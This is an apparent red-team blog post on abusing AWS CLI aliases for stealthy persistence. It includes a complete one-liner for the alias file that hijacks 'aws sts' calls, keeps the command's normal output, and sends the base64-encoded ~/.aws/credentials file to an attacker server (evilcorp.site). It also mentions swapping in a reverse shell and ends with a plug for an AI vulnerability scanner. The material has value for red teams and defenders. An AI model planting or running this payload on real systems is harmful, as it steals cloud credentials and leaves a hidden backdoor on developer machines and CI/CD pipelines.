Weaponizing the AWS CLI for Persistence

If you use AWS, the AWS CLI should be familiar — it’s the standard tool for managing AWS at scale. It lets sysadmins manage every aspect of an AWS Organization quickly. Like other CLIs, it supports aliases and modular extensions to speed up repetitive tasks. However, these convenience features can be abused by attackers to establish stealthy persistence. In this post I share my research into the AWS CLI aliases feature and how it can be leveraged to establish persistence.

We’ll cover the following points:

Aliases

AWS CLI aliases are shortcuts you create to shorten or simplify frequently used AWS CLI commands. They work similarly to shell aliases in Linux/Unix environments, allowing you to create custom command names that expand to longer, more complex AWS CLI operations.

For example, instead of typing the full command  aws sts get-caller-identity , you can create an alias called  whoami  and simply run  aws whoami  to get the same result.

You can create aliases for:

  • Basic commands with simple syntax like  aliasname = command --options
  • Sub-commands by organizing aliases under specific command namespaces
  • Complex operations including bash scripts for more advanced functionality

As explained above, aliases can be used to execute Bash scripts, so it was obvious I wasn’t the first to consider abusing them for persistence. After a quick search I found the following report on a bug-bounty platform (LINK).

In his report, @groovybugify explains how the AWS CLI aliases feature can be leveraged to run arbitrary commands and maintain persistence in CI/CD pipelines. AWS closed the ticket as N/A, arguing that running code is an expected feature and that users must secure their own machines/aliases — which is true.

Nevertheless, @groovybugify’s method has a significant limitation: if you create an alias with the same name as a legitimate AWS command — for example:

The original command will be overridden by your custom logic. This causes an infinite loop if the alias tries to call the same command it replaces, effectively breaking the original functionality.

Of course — if you replace a built-in command with an alias that executes a script, you can execute code, but the original command will no longer work.

Realistically, a victim is unlikely to run an alias you injected into their alias file without knowing about it; and if they do, they will quickly notice something is wrong because the command won’t produce the expected output.

Evading the alias restriction

At this point I began considering ways to evade that behavior while preserving the original functionality, so I could execute code without the user’s knowledge and achieve a stealthy, realistic persistence technique.

And I found a solution — a one-liner that dynamically replaces the alias at runtime. This one-liner performs the following steps in the AWS CLI flow (the sts command is used only as an example):

  1. When the user executes any sts command (e.g. aws sts ...), the AWS CLI loads the aliases file and looks for an alias named sts; it finds our malicious alias.
  2. The malicious one-liner defined in the alias is loaded and executed by the AWS CLI.
  3. The one-liner edits the aliases file, renaming the sts = entry to sts_disabled =, and then re-invokes the AWS CLI with the same parameters the user provided.
  4. The AWS CLI checks the aliases file again; since there is no sts alias anymore, it executes the original sts command and returns the expected response to the user.
  5. After the legitimate command completes, the one-liner executes our custom persistence actions — in my proof of concept I simulated exfiltrating AWS credentials to an attacker-controlled server.
  6. Finally, the one-liner restores the alias by renaming sts_disabled = back to sts =, preserving the persistence for future AWS CLI invocations.

I know this can be a little confusing for some people, so I made a small diagram to help explain it. :)

Proof of Concept (POC)

Now that we know how everything works, let’s jump to a real example of exploitation.

First, we need to infect the AWS CLI alias file with our malicious one-liner:

This is the one-liner I created:

# /home/kali/.aws/cli/alias
[toplevel]
sts = !f() { ALIAS_FILE="$HOME/.aws/cli/alias"; BACKUP=$(mktemp "${ALIAS_FILE}.bak.XXXX"); cp "$ALIAS_FILE" "$BACKUP"; awk 'BEGIN{in_top=0;done=0}/^\[toplevel\]/{print;in_top=1;next}/^\[/{print;in_top=0;next}{if(in_top&&!done&&$0~/^[[:space:]]*sts[[:space:]]*=/){sub(/^[[:space:]]*sts[[:space:]]*=/,"sts_disabled =");print;done=1}else print}' "$ALIAS_FILE" > "${ALIAS_FILE}.tmp" && mv "${ALIAS_FILE}.tmp" "$ALIAS_FILE"; command aws sts "$@"; cp "$BACKUP" "$ALIAS_FILE"; rm -f "$BACKUP"; cat ~/.aws/credentials | base64 -w 0 | curl -s -o /dev/null -X POST -H "Content-Type: text/plain" --data-binary @- https://evilcorp.site/collector ; }; f         

With the alias file backdoored, we now execute the AWS CLI command that has been poisoned:

As you can see, the command ran successfully — and if we peek at the attacker’s web server, there’s a little present waiting for us:

Finally, Base64 decode the POST request content:

As explained earlier, the one-liner persists, so executing any sts command again will retrigger the credential exfiltration process. This could just as easily be replaced with a reverse shell or any other payload of your choice.

Conclusion

We now have a successful persistence method that preserves the original behavior of the AWS CLI and can maintain persistence across automated CI/CD pipelines, developer workstations, and other compromised hosts.

Of course, this is not a vulnerability — it’s a way to weaponize an AWS CLI feature for our purposes. There are other features like this that allow command execution via the AWS CLI without modifying its source code, which could also be used in order to execute code in restricted environments, so I encourage you to research and share any new techniques you find.

I hope everything was clear so you can use my persistence method in your Red Team Assessments ;) .

Naxus AI

Finally, I want to tell you about the platform I’ve been using lately for vulnerability research in open-source projects, including this one.

It’s called Naxus AI, Naxus is a AI multi-agent platform that scans code and discovers vulnerabilities in the exposed assets of a project. That makes it very useful for us as researchers, because the issues Naxus identifies are typically reachable. Unlike many scanners, when properly configured Naxus produced almost no false positives for me — in this research I didn’t even know about the AWS CLI alias functionality, but Naxus recognized the ability to abuse it for command execution, which led me to deep-dive into how it works and develop the persistence payload:

If you haven’t tried it yet, I recommend checking it out. It’s free — you only have to pay for your OpenAI usage.

Scanning tools are evolving — and as operators, we should evolve with them.

With that said, I hope you enjoyed the post and learned something new. Your colleague bids you farewell.

Slayer 11/04/2025

Tags:

Categories:

Updated: